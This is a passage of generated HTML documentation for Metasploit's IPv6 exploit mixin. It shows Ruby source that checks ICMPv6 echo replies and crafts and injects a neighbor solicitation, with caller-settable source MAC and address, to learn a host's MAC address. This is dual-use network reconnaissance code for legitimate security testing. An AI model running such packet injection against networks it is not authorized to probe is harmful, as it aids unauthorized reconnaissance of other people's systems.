<span class='id identifier rubyid_pkt'>pkt</span> <span class='op'>=</span> <span class='ivar'>@ipv6_icmp6_capture</span><span class='period'>.</span><span class='id identifier rubyid_next'>next</span><span class='lparen'>(</span><span class='rparen'>)</span>
|
||
<span class='kw'>next</span> <span class='kw'>if</span> <span class='kw'>not</span> <span class='id identifier rubyid_pkt'>pkt</span>
|
||
<span class='id identifier rubyid_response_pkt'>response_pkt</span> <span class='op'>=</span> <span class='const'>PacketFu</span><span class='op'>::</span><span class='const'>Packet</span><span class='period'>.</span><span class='id identifier rubyid_parse'>parse</span><span class='lparen'>(</span><span class='id identifier rubyid_pkt'>pkt</span><span class='rparen'>)</span> <span class='kw'>rescue</span> <span class='kw'>nil</span>
|
||
<span class='kw'>next</span> <span class='kw'>unless</span> <span class='id identifier rubyid_response_pkt'>response_pkt</span>
|
||
<span class='kw'>next</span> <span class='kw'>unless</span> <span class='id identifier rubyid_response_pkt'>response_pkt</span><span class='period'>.</span><span class='id identifier rubyid_is_ipv6?'>is_ipv6?</span>
|
||
<span class='kw'>next</span> <span class='kw'>unless</span> <span class='id identifier rubyid_response_pkt'>response_pkt</span><span class='period'>.</span><span class='id identifier rubyid_payload'>payload</span>
|
||
<span class='kw'>next</span> <span class='kw'>if</span> <span class='id identifier rubyid_response_pkt'>response_pkt</span><span class='period'>.</span><span class='id identifier rubyid_payload'>payload</span><span class='period'>.</span><span class='id identifier rubyid_empty?'>empty?</span>
|
||
<span class='kw'>next</span> <span class='kw'>unless</span> <span class='id identifier rubyid_response_pkt'>response_pkt</span><span class='period'>.</span><span class='id identifier rubyid_payload'>payload</span><span class='lbracket'>[</span><span class='int'>0</span><span class='comma'>,</span><span class='int'>1</span><span class='rbracket'>]</span> <span class='op'>==</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>\x81</span><span class='tstring_end'>"</span></span> <span class='comment'># Echo reply
|
||
</span> <span class='kw'>if</span><span class='lparen'>(</span> <span class='id identifier rubyid_response_pkt'>response_pkt</span><span class='period'>.</span><span class='id identifier rubyid_ipv6_daddr'>ipv6_daddr</span> <span class='op'>==</span> <span class='id identifier rubyid_p'>p</span><span class='period'>.</span><span class='id identifier rubyid_ipv6_saddr'>ipv6_saddr</span> <span class='kw'>and</span>
|
||
<span class='id identifier rubyid_response_pkt'>response_pkt</span><span class='period'>.</span><span class='id identifier rubyid_ipv6_saddr'>ipv6_saddr</span> <span class='op'>==</span> <span class='id identifier rubyid_p'>p</span><span class='period'>.</span><span class='id identifier rubyid_ipv6_daddr'>ipv6_daddr</span> <span class='kw'>and</span>
|
||
<span class='id identifier rubyid_response_pkt'>response_pkt</span><span class='period'>.</span><span class='id identifier rubyid_ipv6_daddr'>ipv6_daddr</span> <span class='op'>==</span> <span class='id identifier rubyid_p'>p</span><span class='period'>.</span><span class='id identifier rubyid_ipv6_saddr'>ipv6_saddr</span> <span class='kw'>and</span>
|
||
<span class='id identifier rubyid_response_pkt'>response_pkt</span><span class='period'>.</span><span class='id identifier rubyid_payload'>payload</span><span class='lbracket'>[</span><span class='int'>4</span><span class='comma'>,</span><span class='int'>2</span><span class='rbracket'>]</span> <span class='op'>==</span> <span class='id identifier rubyid_p'>p</span><span class='period'>.</span><span class='id identifier rubyid_payload'>payload</span><span class='lbracket'>[</span><span class='int'>4</span><span class='comma'>,</span><span class='int'>2</span><span class='rbracket'>]</span> <span class='kw'>and</span> <span class='comment'># Id
|
||
</span> <span class='id identifier rubyid_response_pkt'>response_pkt</span><span class='period'>.</span><span class='id identifier rubyid_payload'>payload</span><span class='lbracket'>[</span><span class='int'>6</span><span class='comma'>,</span><span class='int'>2</span><span class='rbracket'>]</span> <span class='op'>==</span> <span class='id identifier rubyid_p'>p</span><span class='period'>.</span><span class='id identifier rubyid_payload'>payload</span><span class='lbracket'>[</span><span class='int'>6</span><span class='comma'>,</span><span class='int'>2</span><span class='rbracket'>]</span> <span class='comment'># Seq
|
||
</span> <span class='rparen'>)</span>
|
||
<span class='id identifier rubyid_close_icmp_pcap'>close_icmp_pcap</span><span class='lparen'>(</span><span class='rparen'>)</span>
|
||
<span class='kw'>return</span><span class='lparen'>(</span><span class='kw'>true</span><span class='rparen'>)</span>
|
||
<span class='kw'>end</span>
|
||
|
||
<span class='kw'>end</span> <span class='comment'># End while
|
||
</span> <span class='kw'>end</span>
|
||
|
||
<span class='id identifier rubyid_close_icmp_pcap'>close_icmp_pcap</span><span class='lparen'>(</span><span class='rparen'>)</span>
|
||
<span class='kw'>return</span><span class='lparen'>(</span><span class='kw'>false</span><span class='rparen'>)</span>
|
||
<span class='kw'>end</span></pre>
|
||
</td>
|
||
</tr>
|
||
</table>
|
||
</div>
|
||
|
||
<div class="method_details ">
|
||
<h3 class="signature " id="solicit_ipv6_mac-instance_method">
|
||
|
||
#<strong>solicit_ipv6_mac</strong>(dhost, opts = {}) ⇒ <tt>Object</tt>
|
||
|
||
|
||
|
||
|
||
|
||
</h3><div class="docstring">
|
||
<div class="discussion">
|
||
|
||
<p>Send out a ICMPv6 neighbor solicitation, and return the associated MAC address</p>
|
||
|
||
|
||
</div>
|
||
</div>
|
||
<div class="tags">
|
||
|
||
|
||
</div><table class="source_code">
|
||
<tr>
|
||
<td>
|
||
<pre class="lines">
|
||
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||
|
||
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|
||
142</pre>
|
||
</td>
|
||
<td>
|
||
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/remote/ipv6.rb', line 85</span>
|
||
|
||
<span class='kw'>def</span> <span class='id identifier rubyid_solicit_ipv6_mac'>solicit_ipv6_mac</span><span class='lparen'>(</span><span class='id identifier rubyid_dhost'>dhost</span><span class='comma'>,</span> <span class='id identifier rubyid_opts'>opts</span> <span class='op'>=</span> <span class='lbrace'>{</span><span class='rbrace'>}</span><span class='rparen'>)</span>
|
||
<span class='id identifier rubyid_check_pcaprub_loaded'>check_pcaprub_loaded</span>
|
||
|
||
<span class='id identifier rubyid_dhost_intf'>dhost_intf</span> <span class='op'>=</span> <span class='id identifier rubyid_dhost'>dhost</span> <span class='op'>+</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>%</span><span class='tstring_end'>'</span></span> <span class='op'>+</span> <span class='id identifier rubyid_ipv6_interface'>ipv6_interface</span><span class='lparen'>(</span><span class='id identifier rubyid_opts'>opts</span><span class='rparen'>)</span>
|
||
|
||
<span class='id identifier rubyid_smac'>smac</span> <span class='op'>=</span> <span class='id identifier rubyid_opts'>opts</span><span class='lbracket'>[</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>SMAC</span><span class='tstring_end'>'</span></span><span class='rbracket'>]</span> <span class='op'>||</span> <span class='id identifier rubyid_datastore'>datastore</span><span class='lbracket'>[</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>SMAC</span><span class='tstring_end'>'</span></span><span class='rbracket'>]</span> <span class='op'>||</span> <span class='id identifier rubyid_ipv6_mac'>ipv6_mac</span>
|
||
<span class='id identifier rubyid_shost'>shost</span> <span class='op'>=</span> <span class='id identifier rubyid_opts'>opts</span><span class='lbracket'>[</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>SHOST</span><span class='tstring_end'>'</span></span><span class='rbracket'>]</span> <span class='op'>||</span> <span class='id identifier rubyid_datastore'>datastore</span><span class='lbracket'>[</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>SHOST</span><span class='tstring_end'>'</span></span><span class='rbracket'>]</span> <span class='op'>||</span> <span class='const'><span class='object_link'><a href="../../../Rex.html" title="Rex (module)">Rex</a></span></span><span class='op'>::</span><span class='const'>Socket</span><span class='period'>.</span><span class='id identifier rubyid_source_address'>source_address</span><span class='lparen'>(</span><span class='id identifier rubyid_dhost_intf'>dhost_intf</span><span class='rparen'>)</span>
|
||
<span class='id identifier rubyid_timeout'>timeout</span> <span class='op'>=</span> <span class='id identifier rubyid_opts'>opts</span><span class='lbracket'>[</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>TIMEOUT</span><span class='tstring_end'>'</span></span><span class='rbracket'>]</span> <span class='op'>||</span> <span class='id identifier rubyid_datastore'>datastore</span><span class='lbracket'>[</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>TIMEOUT</span><span class='tstring_end'>'</span></span><span class='rbracket'>]</span> <span class='op'>||</span> <span class='int'>3</span>
|
||
|
||
<span class='id identifier rubyid_open_icmp_pcap'>open_icmp_pcap</span><span class='lparen'>(</span><span class='rparen'>)</span>
|
||
|
||
<span class='id identifier rubyid_p2'>p2</span> <span class='op'>=</span> <span class='const'>PacketFu</span><span class='op'>::</span><span class='const'>IPv6Packet</span><span class='period'>.</span><span class='id identifier rubyid_new'>new</span>
|
||
<span class='id identifier rubyid_p2'>p2</span><span class='period'>.</span><span class='id identifier rubyid_eth_saddr'>eth_saddr</span> <span class='op'>=</span> <span class='id identifier rubyid_smac'>smac</span>
|
||
<span class='id identifier rubyid_p2'>p2</span><span class='period'>.</span><span class='id identifier rubyid_eth_daddr'>eth_daddr</span> <span class='op'>=</span> <span class='id identifier rubyid_ipv6_soll_mcast_mac'>ipv6_soll_mcast_mac</span><span class='lparen'>(</span><span class='id identifier rubyid_dhost'>dhost</span><span class='rparen'>)</span>
|
||
<span class='id identifier rubyid_p2'>p2</span><span class='period'>.</span><span class='id identifier rubyid_ipv6_saddr'>ipv6_saddr</span> <span class='op'>=</span> <span class='id identifier rubyid_shost'>shost</span>
|
||
<span class='id identifier rubyid_p2'>p2</span><span class='period'>.</span><span class='id identifier rubyid_ipv6_daddr'>ipv6_daddr</span> <span class='op'>=</span> <span class='id identifier rubyid_ipv6_soll_mcast_addr6'>ipv6_soll_mcast_addr6</span><span class='lparen'>(</span><span class='id identifier rubyid_dhost'>dhost</span><span class='rparen'>)</span>
|
||
<span class='id identifier rubyid_p2'>p2</span><span class='period'>.</span><span class='id identifier rubyid_ipv6_hop'>ipv6_hop</span> <span class='op'>=</span> <span class='int'>255</span>
|
||
<span class='id identifier rubyid_p2'>p2</span><span class='period'>.</span><span class='id identifier rubyid_ipv6_next'>ipv6_next</span> <span class='op'>=</span> <span class='int'>0x3a</span>
|
||
<span class='id identifier rubyid_p2'>p2</span><span class='period'>.</span><span class='id identifier rubyid_payload'>payload</span> <span class='op'>=</span> <span class='id identifier rubyid_ipv6_neighbor_solicitation'>ipv6_neighbor_solicitation</span><span class='lparen'>(</span>
|
||
<span class='const'>IPAddr</span><span class='period'>.</span><span class='id identifier rubyid_new'>new</span><span class='lparen'>(</span><span class='id identifier rubyid_dhost'>dhost</span><span class='rparen'>)</span><span class='period'>.</span><span class='id identifier rubyid_to_i'>to_i</span><span class='comma'>,</span>
|
||
<span class='id identifier rubyid_p2'>p2</span><span class='period'>.</span><span class='id identifier rubyid_eth_src'>eth_src</span>
|
||
<span class='rparen'>)</span>
|
||
<span class='id identifier rubyid_p2'>p2</span><span class='period'>.</span><span class='id identifier rubyid_ipv6_len'>ipv6_len</span> <span class='op'>=</span> <span class='id identifier rubyid_p2'>p2</span><span class='period'>.</span><span class='id identifier rubyid_payload'>payload</span><span class='period'>.</span><span class='id identifier rubyid_size'>size</span>
|
||
<span class='id identifier rubyid_ipv6_checksum!'>ipv6_checksum!</span><span class='lparen'>(</span><span class='id identifier rubyid_p2'>p2</span><span class='rparen'>)</span>
|
||
|
||
<span class='ivar'>@ipv6_icmp6_capture</span><span class='period'>.</span><span class='id identifier rubyid_inject'>inject</span><span class='lparen'>(</span><span class='id identifier rubyid_p2'>p2</span><span class='period'>.</span><span class='id identifier rubyid_to_s'>to_s</span><span class='rparen'>)</span>
|
||
|
||
<span class='comment'># Wait for a response
|
||
</span> <span class='id identifier rubyid_max_epoch'>max_epoch</span> <span class='op'>=</span> <span class='op'>::</span><span class='const'>Time</span><span class='period'>.</span><span class='id identifier rubyid_now'>now</span><span class='period'>.</span><span class='id identifier rubyid_to_i'>to_i</span> <span class='op'>+</span> <span class='id identifier rubyid_timeout'>timeout</span>
|
||
<span class='kw'>while</span><span class='lparen'>(</span><span class='op'>::</span><span class='const'>Time</span><span class='period'>.</span><span class='id identifier rubyid_now'>now</span><span class='period'>.</span><span class='id identifier rubyid_to_i'>to_i</span> <span class='op'><</span> <span class='id identifier rubyid_max_epoch'>max_epoch</span><span class='rparen'>)</span>
|
||
<span class='id identifier rubyid_pkt_bytes'>pkt_bytes</span> <span class='op'>=</span> <span class='ivar'>@ipv6_icmp6_capture</span><span class='period'>.</span><span class='id identifier rubyid_next'>next</span><span class='lparen'>(</span><span class='rparen'>)</span>
|
||
<span class='kw'>next</span> <span class='kw'>if</span> <span class='kw'>not</span> <span class='id identifier rubyid_pkt_bytes'>pkt_bytes</span>
|
||
<span class='id identifier rubyid_pkt'>pkt</span> <span class='op'>=</span> <span class='const'>PacketFu</span><span class='op'>::</span><span class='const'>Packet</span><span class='period'>.</span><span class='id identifier rubyid_parse'>parse</span><span class='lparen'>(</span><span class='id identifier rubyid_pkt_bytes'>pkt_bytes</span><span class='rparen'>)</span> <span class='kw'>rescue</span> <span class='kw'>nil</span>
|
||
<span class='kw'>next</span> <span class='kw'>unless</span> <span class='id identifier rubyid_pkt'>pkt</span>
|
||
<span class='kw'>next</span> <span class='kw'>unless</span> <span class='id identifier rubyid_pkt'>pkt</span><span class='period'>.</span><span class='id identifier rubyid_is_ipv6?'>is_ipv6?</span>
|
||
<span class='kw'>next</span> <span class='kw'>unless</span> <span class='id identifier rubyid_pkt'>pkt</span><span class='period'>.</span><span class='id identifier rubyid_ipv6_next'>ipv6_next</span> <span class='op'>==</span> <span class='int'>0x3a</span>
|
||
<span class='kw'>next</span> <span class='kw'>unless</span> <span class='id identifier rubyid_pkt'>pkt</span><span class='period'>.</span><span class='id identifier rubyid_payload'>payload</span>
|
||
<span class='kw'>next</span> <span class='kw'>if</span> <span class='id identifier rubyid_pkt'>pkt</span><span class='period'>.</span><span class='id identifier rubyid_payload'>payload</span><span class='period'>.</span><span class='id identifier rubyid_empty?'>empty?</span>
|
||
<span class='kw'>next</span> <span class='kw'>unless</span> <span class='id identifier rubyid_pkt'>pkt</span><span class='period'>.</span><span class='id identifier rubyid_payload'>payload</span><span class='lbracket'>[</span><span class='int'>0</span><span class='comma'>,</span><span class='int'>1</span><span class='rbracket'>]</span> <span class='op'>==</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>\x88</span><span class='tstring_end'>"</span></span> <span class='comment'># Neighbor advertisement
|
||
</span> <span class='kw'>if</span><span class='lparen'>(</span><span class='const'>IPAddr</span><span class='period'>.</span><span class='id identifier rubyid_new'>new</span><span class='lparen'>(</span><span class='id identifier rubyid_pkt'>pkt</span><span class='period'>.</span><span class='id identifier rubyid_ipv6_daddr'>ipv6_daddr</span><span class='rparen'>)</span><span class='period'>.</span><span class='id identifier rubyid_to_i'>to_i</span> <span class='op'>==</span> <span class='const'>IPAddr</span><span class='period'>.</span><span class='id identifier rubyid_new'>new</span><span class='lparen'>(</span><span class='id identifier rubyid_shost'>shost</span><span class='rparen'>)</span><span class='period'>.</span><span class='id identifier rubyid_to_i'>to_i</span> <span class='kw'>and</span>
|
||
<span class='const'>IPAddr</span><span class='period'>.</span><span class='id identifier rubyid_new'>new</span><span class='lparen'>(</span><span class='id identifier rubyid_pkt'>pkt</span><span class='period'>.</span><span class='id identifier rubyid_ipv6_saddr'>ipv6_saddr</span><span class='rparen'>)</span><span class='period'>.</span><span class='id identifier rubyid_to_i'>to_i</span> <span class='op'>==</span> <span class='const'>IPAddr</span><span class='period'>.</span><span class='id identifier rubyid_new'>new</span><span class='lparen'>(</span><span class='id identifier rubyid_dhost'>dhost</span><span class='rparen'>)</span><span class='period'>.</span><span class='id identifier rubyid_to_i'>to_i</span><span class='rparen'>)</span>
|
||
<span class='id identifier rubyid_ipv6opts'>ipv6opts</span> <span class='op'>=</span> <span class='id identifier rubyid_pkt'>pkt</span><span class='period'>.</span><span class='id identifier rubyid_payload'>payload</span><span class='lbracket'>[</span><span class='int'>24</span><span class='comma'>,</span><span class='id identifier rubyid_pkt'>pkt</span><span class='period'>.</span><span class='id identifier rubyid_payload'>payload</span><span class='period'>.</span><span class='id identifier rubyid_size'>size</span><span class='rbracket'>]</span>
|
||
<span class='kw'>next</span> <span class='kw'>unless</span> <span class='id identifier rubyid_ipv6opts'>ipv6opts</span>
|
||
<span class='id identifier rubyid_parsed_opts'>parsed_opts</span> <span class='op'>=</span> <span class='id identifier rubyid_ipv6_parse_options'>ipv6_parse_options</span><span class='lparen'>(</span><span class='id identifier rubyid_ipv6opts'>ipv6opts</span><span class='rparen'>)</span>
|
||
<span class='id identifier rubyid_parsed_opts'>parsed_opts</span><span class='period'>.</span><span class='id identifier rubyid_each'>each</span> <span class='kw'>do</span> <span class='op'>|</span><span class='id identifier rubyid_opt'>opt</span><span class='op'>|</span>
|
||
<span class='kw'>if</span> <span class='id identifier rubyid_opt'>opt</span><span class='lbracket'>[</span><span class='int'>0</span><span class='rbracket'>]</span> <span class='op'>==</span> <span class='int'>2</span>
|
||
<span class='id identifier rubyid_addr'>addr</span> <span class='op'>=</span> <span class='const'>PacketFu</span><span class='op'>::</span><span class='const'>EthHeader</span><span class='period'>.</span><span class='id identifier rubyid_str2mac'>str2mac</span><span class='lparen'>(</span><span class='id identifier rubyid_opt'>opt</span><span class='period'>.</span><span class='id identifier rubyid_last'>last</span><span class='rparen'>)</span>
|
||
<span class='id identifier rubyid_close_icmp_pcap'>close_icmp_pcap</span><span class='lparen'>(</span><span class='rparen'>)</span>
|
||
<span class='kw'>return</span><span class='lparen'>(</span><span class='id identifier rubyid_addr'>addr</span><span class='rparen'>)</span>
|
||
<span class='kw'>end</span>
|
||
<span class='kw'>end</span>
|
||
<span class='id identifier rubyid_close_icmp_pcap'>close_icmp_pcap</span>
|
||
<span class='kw'>return</span><span class='lparen'>(</span><span class='id identifier rubyid_pkt'>pkt</span><span class='period'>.</span><span class='id identifier rubyid_eth_saddr'>eth_saddr</span><span class='rparen'>)</span>
|
||
<span class='kw'>end</span>
|
||
<span class='kw'>end</span>
|
||
<span class='id identifier rubyid_close_icmp_pcap'>close_icmp_pcap</span>
|
||
<span class='kw'>return</span> <span class='kw'>nil</span>
|
||
<span class='kw'>end</span></pre>
|
||
</td>
|
||
</tr>
|
||
</table>
|
||
</div>
|
||
|
||
</div>
|
||
|
||
</div>
|
||
|
||
<div id="footer">
|
||
Generated on Fri May 8 17:01:29 2026 by
|
||
<a href="https://yardoc.org" title="Yay! A Ruby Documentation Tool" target="_parent">yard</a>
|
||
0.9.37 (ruby-3.1.5).
|
||
</div>
|
||
|
||
</div>
|
||
</body>
|
||
</html> |